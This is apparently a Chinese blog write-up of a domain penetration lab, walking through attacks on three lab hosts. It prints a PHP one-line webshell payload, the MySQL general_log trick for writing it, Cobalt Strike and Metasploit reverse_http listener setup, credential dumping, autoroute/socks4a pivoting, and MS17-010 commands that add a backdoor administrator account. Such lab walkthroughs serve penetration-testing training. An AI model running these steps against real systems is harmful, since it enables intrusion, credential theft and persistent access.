• 域渗透


    域渗透

    • 本篇文章旨在演示一遍域渗透的大致流程

    1. 网络拓扑

    00_域环境内网拓扑

    2. 靶场实战

    1. 首先我们来扫描一下target1开启了哪些端口(服务)

      • nmap -T4 -O 192.168.1.104
      • 扫描结果显示,target1开启了80,135,139,445,1025,1026,1027,1028,1029,1030,3306,5357端口,且为windows操作系统
        01_端口扫描
    2. 我们还是从我们最熟悉的80服务开始

      • 访问一下target1的ip地址:192.168.1.104
      • 发现是一个 phpstudy探针 ,这里我们直接可以收集一些必要的信息:
        1. 对方的服务器是:win7,且是一个php站
        2. www目录的绝对路径是:C:/phpStudy/WWW
        3. apache和php的版本为:Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.4.45
          02_phpstudy探针
    3. 通过phpstudy探针页面的出现,我们可知该主机搭建网站所使用的环境是集成环境,而集成环境一般都会有PHPmyadmin,尝试以下

    4. 尝试一波sql写一句话

      • payload:

        select "<?php @eval($_POST['cmd']);?>" into outfile "	C:/phpStudy/WWW/shell.php"
        
      • 这里的绝对路径在phpstudy探针中可以获得

      • 但可惜写入失败了
        05_sql写shell

      • 通过报错信息我们可以得知,应该是目标机mysql的secure-file-priv参数导致我们写入失败

      • 核实一下是否是该原因:
        06_secure_file_priv参数

      • 的确是这样。_secure_file_priv参数被置为了NULL,那我们只能放弃该方法了

      • 可能会有的同学会问:

        • 难道我们不能使用sql修改一下该变量的值吗?我们可是root啊!
        • 很可惜,该变量我们只可以在本地的my.ini文件中修改,然后再重启mysql生效,不能使用sql进行修改。
          07_secure_file_priv参数
    5. 使用mysql的日志来getshell

      • payload:
      SHOW VARIABLES LIKE  "%general_%" //查看mysql日志功能是否打开
      set global general_log=on         //手动开启mysql日志功能
      set global general_log_file="C:\phpStudy\WWW\shell.php" //设置mysql的日志路径
      
      • 首先我们看一下mysql的日志功能是否开启,若没有开启则需要我们手动打开。
        08_开启mysql日志

      • 执行查询语句:select "",并访问:192.168.1.104/shell.php,可以看到访问成功
        09_开始写一句话

      • 使用蚁剑进行连接
        10_使用蚁剑进行连接

      • 成功 getshell target1

    6. 接着我们上传一个CS的马,并赋予权限执行,使用CS进行监听

      • 在生成木马之前,你若没有监听器,那便先设置添加一个监听器
        11_cs设置监听器

      • 生成一个windows的CS马
        12_cs生成一个木马

      • 使用蚁剑将木马上传至target1上,并利用虚拟终端赋予木马执行权限执行,CS上线
        13_成功上线

    7. 使用CS窃取target1的账号密码

      • 这里我们需要使用到CS的插件
        14_使用cs读取密码
    8. 接下来为了方便我们的内网渗透,让CS和msf做一个联动

      • 先添加一个监听器
        15_设置联动的监听器

      • 设置msf监听,成功联动

      use exploit/multi/handler
      set payload windows/meterpreter/reverse_http
      set lhost 192.168.1.103
      set lport 4444
      exploit
      

      16_联动成功

    9. 接下来我们探询target1所连的网段还有哪些,并将其添加进路由,设置socks4a代理

      • 所需命令:
      run get_local_subnets
      run autoroute -s 192.168.33.0/24
      run autoroute -p
      
      msfconsole
      use auxiliary/server/socks4a
      set srvhost=192.168.1.103
      set srvport=1080
      exploit
      

      17_查看与target1所连的网段还存在哪些

      • 编辑proxychains代理软件的配置文件:/etc/proxychains.conf
        18_修改proxychains代理软件的配置文件
    10. 扫描target2的端口服务

      • 在target1的msf会话中执行 arp -a 可以查看当前与target1所处同一网段内存活的主机还有哪些,根据所查结果,还有存活主机:192.168.33.131 和 192.168.33.132
      • 我们先扫描target2:192.168.33.131(域成员)
        • proxychains nmap -Pn -sT 192.168.33.131
        • 可以看到target2开启了445端口,可能存在MS17_010
          19_扫描target2
    11. 盲打一波,看是否存在永恒之蓝(MS17_010)

      • 所需命令
      proxychains msfconsole    //一定要加上proxychains关键字,因为target2在内网
      use auxiliary/admin/smb/ms17_010_command
      set rhost 192.168.33.131
      set command net user hack nicai123.com /add
      exploit
      set command net localgroup administrators hack /add
      exploit
      set command net users
      exploit
      set command net localgroup administrators
      exploit
      
      • 利用成功

      • 成功的在target2中创建类hack用户,并将该用户添加至administrators组中
        20_利用MS17_010_command

      • 至此,域成员target2已经拿下

    12. 扫描target3(域控)

      • 由于域控和target2在同一个网段(192.168.33.0/24)内,所以不需要再添加路由
      • 直接扫描:proxychains nmap -Pn -sT 192.168.33.132 -p 445
      • 开启状态,直接上MS17_010_psexec
        proxychains msfconsole
        set payload windows/meterpreter/bind_tcp
        set rhost 192.168.33.132
        exploit
        

      21_干target2

      • 可以看到,该漏洞的确存在,但是会话却没有连接上

      • 经过分析,应该是目标机target3的防火墙进行拦截了

      • 如下图显示,连接超时(timeout)
        22_会话断开原因分析

      • 那我们就只好扫描一下全部端口,看看防火墙放行了哪些端口,可以让我们钻空子:proxychains nmap -Pn -sT 192.168.33.132

      • 可以看到还有:135,80,445,53,139等端口放行
        23_扫描有哪些端口被放行

      • 经过一次次的端口测试,只有53端口可以弹出会话并保持会话的连接,而其他的端口虽然可以弹出会话,但是维持不到1秒就断开了。
        24_扫描有哪些端口被放行

      • 可是又白高兴一场,会话虽然保持住了,但是却执行不了命令。。。
        25_又崩了

      • 是真的不知道,是环境的问题还是就是这样设计的

    • 其实在第10步,我们可以直接确定域控的ip,对域控进行渗透:
      • 确定域控ip的方法:
        • 先使用systeminfo命令查看当前域环境的域名,比如是:nicai.com
        • 然后去ping这个域名:ping nicai.com ,命令返回信息中的ip就是域控制器的ip地址
      • 在这里因为是靶场嘛,多练习一下也是好的
  • 相关阅读:
    Wiki上的C++哲学
    UC网盘被关停 将与阿里淘盘合并?(案例说明云盘的成本才是重点,技术不是问题;与巨头竞争是重点)
    又一个!迅雷快盘宣布关闭个人存储服务
    QT运行cmd指令(两种办法:QProcess.start然后waitForFinished,运行cmd /c命令)
    EventBus实现
    彻底抛弃PeopleEditor,SharePoint中利用Jquery Chosen创建新的人员选择器
    软件用了那些技术2
    软件的模块化开发
    在C#中模拟Javascript的setTimeout方法
    IP:网际协议
  • 原文地址:https://www.cnblogs.com/02SWD/p/15884557.html
Copyright © 2020-2023  润新知